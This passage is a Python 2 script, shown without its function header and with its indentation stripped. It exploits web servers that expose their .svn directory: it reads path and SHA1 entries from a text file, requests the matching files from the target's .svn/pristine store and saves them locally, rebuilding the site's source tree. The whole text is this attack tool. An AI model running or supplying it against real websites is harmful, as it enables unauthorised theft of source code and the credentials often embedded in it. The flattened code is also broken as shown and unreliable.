hh = hackhttp.hackhttp()
Url = domain+"/.svn/pristine/"+str(sha1)[0:2]+"/"+str(sha1)+".svn-base"
a,b,c,d,e = hh.http(Url)
fp = open(Filename,"w")
fp.write(c)
fp.close()
if __name__ == '__main__':
domain = sys.argv[1]
i=0
f = open("1.txt","r")
while 1:
i+=1
print i
line = f.readline()
if not line:
break
else:
dirs = "".join(re.findall(r'/dev/(.*?)\s',line))
sha1 = "".join(re.findall(r'\$sha1\$(.*?)\s',line))
Filename = "".join(re.findall(r'[^\\/:*?"<>|\r\n]+$',dirs))
Dir = dirs.replace(Filename,"")
if os.path.exists(Dir):
pass
else:
os.makedirs(Dir)
if "." in dirs:
GetFile(domain,dirs,sha1)
f.close()